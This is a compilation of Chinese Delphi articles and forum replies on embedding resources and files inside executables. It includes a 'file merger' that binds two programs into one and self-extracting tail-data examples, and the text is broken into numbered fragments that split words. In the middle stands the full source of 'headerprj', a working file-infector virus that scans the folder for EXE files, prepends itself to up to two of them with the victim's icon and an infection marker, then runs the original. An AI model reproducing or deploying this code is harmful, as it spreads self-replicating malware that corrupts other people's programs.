1、作为资源文件嵌入就可以解决这个问题。 用记事本写一个exe.rc,里面就一句; MYEXE EXEFILE ssl.exe 然后用brcc32编译exe.rc,生成exe.res文件 在你的单元中插入 {$R exe.res} 至于提取出来也很简单 procedure TForm1.ExtractFile; var resStream:TResourceStream; begin try resStream:=TResourceStream.Create(hinstance,PChar(
2、 'MYEXE '),PChar( 'EXEFILE ')); resStream.SaveToFile( 'c:\e.exe '); resStream.Free; ........ except ShowMessage( '提取文件错误 '); end; end; 把Delphi程序嵌入到其他程序中 把Delphi程序嵌入到其他程序中 作者:佚名 文章来源:网络 点击数: 193 更新 时间:2011-4-29 16:13:15 怎样把Delphi程序嵌入到其他程序中
3、2007-02-21 15:17某个bbs站上有文章:(想来作者不会介意我装载吧!) ============================================================================== 文件合并器的制作方法 作者:王昊 从想到做文件合并器到现在已经有一个多月了,但是一直没有静下心来想它的实现方法. 昨天看数学看烦了, 我终于忍不住扔开了书,开始
4、着手"文件合并器"的编制.3小时后,终于有了眉目,今天又改了一下.现在终于能够和 各位分享我的喜悦了.我愿意将我的方法写给大家,也希望各位高手不吝赐教. 先看看我们的目的:编写一个程序A,它能够将两个可执行程序B和C合并在一起,形成 一个新的可执行程序D. 要让用户执行D的时候,相当于同时运行B和C两个程序. 我的开发工具:我现在能够用VB和DELPHI中的任何一个开发这个软件.这次我用的是 DELPHI.如果你需要,也可以用VC或BCB来完成. 下面我用这三个小时中我考虑的东西为线索来讲讲主要的原理. 一. 我的疑惑.
5、 将两个可以执行的程序合并在一起会变成什么东西?这是我的第一个疑惑.要解 决这个问题,首先要学会 如何将两个文件合并在一起.我想到了内存流(MemoryStream),它能极方便的完成这个步 骤.假设有两个可执行文件f1, f2.现在要把他们合并在一起.下面给出原代码. var strmSource,strmDest:TMemoryStream; begin //先读f1 strmSource:=TMemoryStream.Create; strmSo
6、urce.loadfromfile(f1); //拷贝到strmdest strmDest:=TMemoryStream.Create; strmDest.copyfrom(strmSource,strmSource.size); strmSource.clear; //再读f1 strmSource.loadfromfile(f2); //拷贝到strmdest strmDest.seek(strmDe
7、st.size,soFromBeginning); strmDest.copyfrom(strmSource,strmSource.size); strmSource.free; //这时strmDest里面便是两个文件合并后的内容了.将它保存为文件 strmDest.SaveToFile('dest.exe'); strmDest.free; end; 我惊讶的发现,执行dest.exe就相当于执行f1!!为了确认,我将原代码中f1和f
8、2的 读入顺序对调,得到的新的dest.exe执行竟然相当于执行f2!!(此处省略了N个感叹号).我又用同样的方法在f1 的后面添加很多无意义的字节,得到的新的f1运行竟然很正常.现在我们知道了,将两个或者多个可执行文件合并在 一起,得到的新文件执行时只是执行第一个文件.这是非常关键的一步. 二.如何分离? 合并没有问题了,如何分离呢?在知道原来的两个文件的大小的情况下,这很容易 作到.假设i1和i2是原来两个文件的大小(字节).合并后的文件是"dest.exe". var strmSource,strm
9、Dest:TMemoryStream; Begin //先读dest.exe strmSource:=TMemoryStream.Create; strmSource.loadfromfile('dest.exe'); //拷贝f1到strmdest strmDest:=TMemoryStream.Create; strmDest.copyfrom(strmSource,i1); //保存f1
10、 strmDest.SaveToFile(f1); strmDest.clear; //拷贝f2到strmdest strmSource.seek(i1,soFromBeginning); strmDest.copyfrom(strmSource,i2); strmDest.SaveToFile(f2); strmDest.free; strmSource.free; end; 三.总体
11、思路. 在解决了上述问题后,我的总体思路就出来了.假设我给用户的程序是A,它能把 B和C合并起来得到D.那么D具有什么特征呢?D应该至少由三个部分组成(请注意是"至少"):第一部分是一个可 执行的程序,我把它叫做 标准程序S,他能将D的第二部分和第三部分(就是原来的可执行文件B和C)读出来,保存在磁盘上,然后执行他们.但大家看了"如何分离"后应该知道,只有我们知道了B和C的长度时,才能方便的从D中读出他们.而为了使D可以在另一个用户的机子上也能够运行,我认为B和C的长度信息应该保存在D的最后.于是,D应该具有四个部分: 1: S 2:
12、 B 3: C 4: 长度信息 那么,既然我给用户的程序是A,那么这里的标准程序又从何而来呢?标准程序又应该保存在哪里呢? 有两个办法.第一,给用户的程序包含两个文件,一个是A,一个是S.但我觉得这样不够 爽.于是我用了另一个方法: 将S连在A的后面,成为A'. 于是乎,当用户执行A'时,A'要求用户选择两个可执行文件B和C.当用户点击确定时, A'将它自身所带的S与B和C合并起来,形成D.然后,用户便可以执行D了,这时的D并不依赖于A'.D执行时,实际上执行的是它的第一部分S,S首先从D的最后取得长度信息,然后根
13、据这些长度信息读出B和C,保存于硬盘上的某个目 录.然后调用ShellExecute执行他们.这样就达到了我们的目的. 那么,长度信息如何定义呢?如何将S连在A的后面呢?S如何完成自身的功能呢?这就是 我下面要讲的. 四.保存长度信息. 我先讲一讲如何把一个字符串写入内存流.其实我自己也不知道如何直接将一个 字符串的内容读到内存流中,于是我采取了先将字符串内容写入一个临时文件中,然后用loadformfile将文件内容读入内存流中. 然而,我们必须知道连接在D后面的长度信息的具体长度,也就是说用几个字节保 存,才能让S
14、读出长度信息.我考虑再三,决定用32个字节来表示每个文件的长度,虽然大多数情况下,文件大小不会超出100M. 看看这里的代码: var strmSource,strmDest:TMemoryStream; s1,s2:string; f:TextFile; begin //先用上面的方法将S和B与C的内容写入strmdest,现在要在strmDest里面添 加长度信息 //假设s1,s2里放有B和C的大小,先把他们变为
15、32个字节. while length(s1)<32 do begin s1:='0'+s1; end; while length(s2)<32 do begin s2:='0'+s1; end; //s1存入文件 assignfile(f,'tmp'); rewrite(f);
16、 try write(f,s1); finally closefile(f); end; //文件内容读入strmSource strmSource:=TMemoryStream.Create; strmSource.loadfromfile('tmp'); //加到strmDest后面 strmDest.copyfrom(strmSource,strmSource.siz
17、e); strmSource.clear; deletefile('tmp'); //s2存入文件 assignfile(f,'tmp'); rewrite(f); try write(f,s2); finally closefile(f); end; //文件内容读入strmSource strmSo
18、urce:=TMemoryStream.Create; strmSource.loadfromfile('tmp'); //加到strmDest后面 strmDest.copyfrom(strmSource,strmSource.size); strmSource.free; deletefile('tmp'); end; 利用代码里的方法,便可将长度信息保存在D的最后了. 五.标准文件. 现在我想大
19、家感到疑惑的就是标准文件S了,这到底是个什么玩意儿?怎么做它? 其实,我们在前面已经讲过了,"S首先从D的最后取得长度信息,然后根据这些长度 信息读出B和C,保存于硬盘上的某个目录. 然后调用ShellExecute执行他们".要注意这里的S和D是在一起的,S只不过是D的第一部分.他们的文件名是一样的了.于是就变成了S的功能是从它自身的后面取得长度信息,然后根据这些长度信息读出B和C,保存于硬盘上的某个目录.然后调用ShellExecute执行他们.我想,具体的方法我前面已经讲的很清楚了.只要记住长度信息是分别用32个 字节表示的就行了. 六.完整步骤
20、 先编写S,然后编写A.再写一个程序E将S和A连接起来,S放在A的后面,成为A'.将A '发布给用户. 七.注意事项. 这个程序技巧性的确很强,但是我认为正常的人很少会用它.但对那些想散播病毒的人来说,却是一大利器.因此,我在这里要警告这部分人:制作或散发病毒是违反法律的,将受到法律允许范围内的 最高处罚.请好自为之。 而该程序的思路则有很巧妙的应用。你可以将DLL或其他需要的文件连接在你的程序后面.让你的程序运行时先解出这些文件。这样就能发布只有一个执行文件的程序了,比较方便,可以帮助VB程序员发布伪“绿色软件”
21、 好了,就写到这里。有空我再写点经验出来。 谢谢大家赏脸看我的文章。 我的程序也是给exe加一个文件头,只是论证一下可行性,离病毒那可差的远了:) Code here: //headerprj.dpr program headerprj; uses Windows,Classes,SysUtils,Graphics,ShellAPI; const HEADERSIZE=78336; ICONOFFSET=$11EB8; INFECTFLAG='Infected By SOJ'; ID=$66666666; {
22、R *.RES} var tmpFile:string; si:STARTUPINFO; pi:PROCESS_INFORMATION; sr:TSearchRec; Counter:Integer; //routines procedure CopyStream(Src:TStream;sStartPos:Integer; Dst:TStream;dStartPos:Integer;Count:Integer); var sCurPos,dCurPos:Integer; begin sCurPos:=Src.Position;
23、 dCurPos:=Dst.Position; src.Seek(sStartPos,0); dst.Seek(dStartPos,0); dst.CopyFrom(src,Count); src.Seek(sCurPos,0); dst.Seek(dCurPos,0); end;{CopyStream} function Getmyname:string; var cmdline:String; myname:Array [0..255] of Char; i,j:integer; begin i:=1;j:=0; cmdlin
24、e:=GetCommandLine; while cmdline[i]<>chr(0) do begin if cmdline[i]<>'"' then begin myname[j]:=cmdline[i]; inc(j); end; inc(i); end; myname[j-1]:=chr(0); Result:=strpas(@myname); end;{Getmyname} function GetTempFullName:String; var tmpPath:Array[1.
25、256]of Char; tmpname:Array[1..256]of Char; begin GetTempPath(256,@tmpPath); GetTempFileName(@tmpPath,'PQR',0,@tmpName); Result:=StrPas(@tmpName); end;{GetTempFullName} procedure ExtractFile(filename:string); var sStream,dStream:TFileStream; begin sStream:=TFileStream.Create(G
26、etmyname,fmOpenRead or fmShareDenyNone); dStream:=TFileStream.Create(filename,fmCreate); sStream.Seek(HEADERSIZE,0); dStream.CopyFrom(sStream,sStream.Size-HEADERSIZE); sStream.Free; dStream.Free; end; procedure fillstartupinfo(var si:STARTUPINFO;state:WORD); begin si.cb := sizeof
27、si); si.lpReserved := nil; si.lpDesktop := nil; si.lpTitle := nil; si.dwFlags := STARTF_USESHOWWINDOW; si.wShowWindow := state; si.cbReserved2 := 0; si.lpReserved2 := nil; end; function InfectFile(Filename:TFilename):Boolean; var hdrStream,srcStream:TFileStream; icoStream,dst
28、Stream:TMemoryStream; iID:Longint; aIcon:TIcon; begin try if Filename='headerprj.exe' then exit; srcStream:=TFileStream.Create(Filename,fmOpenRead); srcStream.Seek(-4,2); srcStream.Read(iID,4); if (iID=ID) or (srcStream.Size >1000000)then begin srcStream.Free; R
29、esult:=False; exit; //如果感染过了则退出 end; srcStream.Free; try icoStream:=TMemoryStream.Create; aIcon:=TIcon.Create; aIcon.ReleaseHandle; aIcon.Handle:=ExtractIcon(Hinstance,PChar(Filename),0);//被感染文件的图标 aIcon.SaveToStream(icoStream); aIcon.Free; srcStream:=TFileStream.C
30、reate(FileName,fmOpenRead); hdrStream:=TFileStream.Create(GetMyName,fmOpenRead or fmShareDenyNone);//头文件 dstStream:=TMemoryStream.Create; CopyStream(hdrStream,0,dstStream,0,HEADERSIZE); CopyStream(icoStream,22,dstStream,ICONOFFSET,$2e8); CopyStream(srcStream,0,dstStream,HEADERSIZE,src
31、Stream.Size); dstStream.Seek(0,2); iID:=$66666666; dstStream.Write(iID,4); finally icoStream.Free; srcStream.Free; hdrStream.Free; dstStream.SaveToFile(Filename); dstStream.Free; Result:=True; end; except; end; end; //主程序开始 begin Counter:=2; if FindFir
32、st('*.exe',faAnyFile,sr)=0 then begin InfectFile(sr.Name); while (FindNext(sr)=0) and (Counter>0) do begin if InfectFile(sr.Name) then Dec(Counter); end; end; FindClose(sr); if ExtractFileName(Getmyname)='headerprj.exe' then exit; tmpFile:=GetTempFullname;
33、 ExtractFile(tmpFile); fillstartupinfo(si,SW_SHOWDEFAULT); CreateProcess(PChar(tmpFile),PChar(tmpFile),nil,nil,True,0,nil,'.',si,pi); end. ps:文件名一定要叫headerprj.exe否则会有问题,看看代码就知道了 想将.tex.bmp等类型的文件做成.exe文件。看过人家的软件,心中羡慕,痒痒。谁解析一下? 最好有原代码。c,delphi的都可以。给好多的分分啊 ^_^,我来试试? 1.如果只是
34、把一幅图作在文件中.最简单了.把显示图形的代码写好,然后把图形文件 LOATFROMFILE,写到自己程序的最后,在文件尾部把图形数据的起点标识.OK了. 比如自释放的文件等等,都可以这样做. 2.如果做个单一的安装程序,之有一个exe.文件,方法和上面差不多.只是在标识上要有 一定的格式.比如,最后两个字节是表示有多少个文件,文件信息表的偏移量. 至于文件信息表,可以包含文件在EXE中的偏移量.长度,文件名.这就够了.当然,可以是经过 压缩的数据,解压缩后savetofile 就行了 . 制作方法:要写两个程序,一个是专门在自己的EXE尾部找数据文件信息.根据约定的已知 格式
35、循环读出每个文件的数据,解压缩后savetofile. 一个是制作程序,上个程序做好后,本制作程序把要打包的文件读入内存stream中, 计算好长度后,把每个文件的名字,长度,偏移量,写到解压缩程序的尾部! 制作两个程序:一个主程序,一个辅程序。主程序的作用是往辅程序的尾部添加资源, 即.tex、.bmp等文件。辅程序则负责对这些资源进行处理,如显示、编辑等。以下是 它们的例程。 主程序: procedure TForm1.FormCreate(Sender: TObject); var Target,str:TFilestream; Size:Integer;
36、 Begin try str:=TFileStream.Create('My.bmp',fmOpenRead or fmShareExclusive); Target := TFilestream.create('d:\Project1.exe', fmOpenWrite or fmShareExclusive); // d:\Project1.exe 为辅程序 Target.Seek(0,soFromEnd); //往辅程序的尾部添加资源 Target.CopyFrom(str,0); Size:=str.Size
37、 Sizeof(Size); //计算资源大小,并写入辅程序尾部 Target.WriteBuffer(Size,Sizeof(Size)); finally Target.Free; str.Free; end; end; 辅程序: procedure TForm1.FormCreate(Sender: TObject); var Source:TFilestream; str:TMemoryStream; Size:Integer; Begin try str:=TMemoryStream.C
38、reate; Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone); Source.Seek(-Sizeof(Size),soFromEnd); //读出资源大小 Source.ReadBuffer(Size,SizeOf(Size)); //定位到资源的开始位置 Source.Seek(-Size,soFromEnd); //取出资源并存到文件中 str.CopyFrom(Source,Size - Siz
39、eOf(Size)); str.SaveToFile('Temp.bmp'); //显示 Image1.LoadFromFile('Temp.bmp'); Finally str.Free; Source.Free; end; end; 来自:Lucker, 时间:2000-11-29 13:38:00, ID:406428有一点小错误:Image1.LoadFromFile('Temp.bmp');应改为: image1.Picture.LoadFromFile('Temp.bmp'); 来自:Sachow, 时间
40、2000-11-29 16:31:00, ID:406564有一点错: procedure TForm1.Button1Click(Sender: TObject); var Source:TFilestream; str:TMemoryStream; Size:Integer; begin try str:=TMemoryStream.Create; Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone); Source.Se
41、ek(-Sizeof(Size),soFromEnd); //读出资源大小 Source.ReadBuffer(Size,SizeOf(Size)); //定位到资源的开始位置 Source.Seek(-Size,soFromEnd); //取出资源并存到文件中 str.CopyFrom(Source,Size - SizeOf(Size)); //上面这一句报错,说是'Stream read error' //我执行的是被写入了图片的
42、那个执行程序,对吗? str.SaveToFile('Temp.bmp'); //显示 Image1.Picture.LoadFromFile('Temp.bmp'); Finally str.Free; Source.Free; end; end; 来自:tinytao, 时间:2000-11-29 18:56:00, ID:406768Sachow:我Test了,代码正确。 上面的报错是因为主程序没有向Project1.exe加入.BMP 来自:Sachow, 时间:2000-11-30 10
43、03:00, ID:407368我已经往“Project1.exe”那个文件里写了一个BMP图片了,只写了一个。 写完后新文件大小=原文件大小+图片大小。 如果我一次写了多个图片(或是其它类型的文件),该怎样读出想要的那一个,而不是 第一个呢? 来自:Sachow, 时间:2000-11-30 11:23:00, ID:407437成功了!代码是没错的,先前是我自己搞错了。感谢lucker,稍后请再拿分 来自:Sachow, 时间:2000-11-30 12:01:00, ID:407481我做了一点小的改动,就是不需要文件交换过程,直接从流中读出图片, 但也有一点不足是
44、只能处理BMP。 procedure TForm1.Button1Click(Sender: TObject); var Source:TFilestream; Size:Integer; begin Source := TFilestream.create(Application.ExeName, fmOpenRead or fmShareDenyNone); Source.Seek(-Sizeof(Size),soFromEnd); //读出资源大小 Source.ReadBuffer(Size,SizeOf(Size));
45、 //定位到资源的开始位置 Source.Seek(-Size,soFromEnd); Image1.Picture.Bitmap.LoadFromStream(Source); Source.Free; end; 来自:Lucker, 时间:2000-11-30 12:19:00, ID:407510to Sachow: 当然,上面的程序只是基础,但加以扩充。你就可以实现往Project1.exe中加入任意复杂的 数据,方法如下(其实也是压缩程序的原理之一): 首先你得定义两个记录 : TFileRec = record
46、 name : shortstring; start : longint; Size:Longint; end; TArchiveRec = record FileCount:longint; end; TFileRec 用于记录每个文件的信息。(以上两个记录的具体内容可自定,但必须能确定 记录的大小,也即不能在记录中有string类型等不能确定大小的字段), TArchiveRec 用于记录插入文件的总个数。 往P
47、roject1.exe中添加资源时,可依照以上的方法进行,即把资源的数据一个一个地往 Project1.exe的尾部添加.但在加入一个资源之前,你必须先得到当前的位置(可通过 Target.Size或先移到Target的尾部,再通过Position属性得到),然后写入该文件对应 的TFileRec记录的Start字段,用于记录该资源在Project1.exe中的起始位置,在加入全部 资源以后,你再设置TArchiveRec记录的FileCount字段,然后按加入资源的顺序往Project1.exe 尾部写入对应的TFileRec,最后再写入TArchiveRec记录。从而完成了添加资
48、源操作。 在Project1.exe中读资源时,要先在Project1.exe的尾部读出TArchiveRec记录以得到资源的 个数,然后再根据资源的个数依次读出TFileRec记录,从而得到每个文件的Start等信息, 这样就可以正确地读出每个资源的数据了。之所以可以这样读,是因为TArchiveRec和TFileRec记录 的大小是可以确定的(通过Sizeof函数),所以你可以正确定位。 其实这种程序的难点就是如何定位,只要实现了正确定位,那一切就OK了。 来自:pass, 时间:2000-12-17 0:15:00, ID:419043放置任意的文件到Delphi的EXE
49、文件里面 通常在Delphi的应用程序中,我们会调用到很多的资源,例如图片,动画(AVI),声音,甚至于别的执行文件。当然,把这些资源分布到不同的目录不失为一个好办法,但是有没有可能把这些资源编译成标准的windows资源从而链接到一个执行文件里面呢? 我们可以自己做一个RC文件,例如 sample.rc ,RC文件其实就是一个资源文件的描述文本,通过“记事本”程序创建就行了。然后可以输入一些我们要定义的资源,例如: MEN BITMAP c:\bitmap\men.bitmap ARJ EXEFILE c:\arj.exe MOV AVI c:\mov.avi 然后用BRCC
50、32把这个RC文件编译成sample.res(真正的资源文件)。 在Delphi的工程文件中使用 $R 编译指令让Delphi包括资源到EXE文件里面。 {$R sample.res} 这样我们就可以在这个单一的执行文件中调用资源了。举例如下: EXEFILE: procedure ExtractRes(ResType, ResName, ResNewName : String); var Res : TResourceStream; begin Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType






